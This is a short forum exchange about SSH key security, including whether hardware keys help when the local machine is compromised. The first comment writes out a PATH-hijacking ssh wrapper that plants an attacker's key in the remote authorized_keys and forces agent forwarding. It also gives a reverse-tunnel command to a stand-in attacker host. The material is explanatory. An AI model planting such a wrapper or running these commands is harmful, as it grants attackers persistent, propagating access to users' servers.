by _hyn3 5 hours ago

The private key can't be read when encrypted, either; that's why the passphrase exists.

The physical touch requirement feature is nice though, but it's not really that useful in the real world.

If your ssh client is compromised (ie export PATH="~/.hacker-controlled:$PATH") then it could just always do -A or -L or -R or -W or anything else.

~/.hacker-controlled/ssh:

   #! /bin/bash
   [ ! -e /tmp/.already-pwned ] && echo "ssh-rsaAAAA123123" | /usr/bin/ssh tee -A .ssh/authorized_keys $@ >/dev/null 2>&1 && touch /tmp/.already-pwned
   /usr/bin/ssh -A $@

The wrapper attack is trivially simple and doesn't even need the tee trick to be useful. just forcing -A or -R 2222:localhost:22 attacker@attackerbox on every connection is enough to get a foothold. The tee variant is useful for self-propagation though.

(I haven't tested this, but it looks like it'd work.) You'd just try to ssh into that box twice, and that's not even a sophisticated attack.

Every time you type `ssh remotehost`, you're merrily signing your own death certificate.

Bottom line: if an attacker has write access to files in your local homedir/PATH/.bashrc/etc, you're done, Yubikey or not.

podocarp 5 minutes ago

Loads of people have empty passwords for SSH keys… and coding agents have rw access to all user files… Also I'mc curious as to how secure SSH agent is, because it is also quite commonly used to avoid retyping passwords. Perhaps a hardware key which is easier to trigger might reduce reliance on these practices.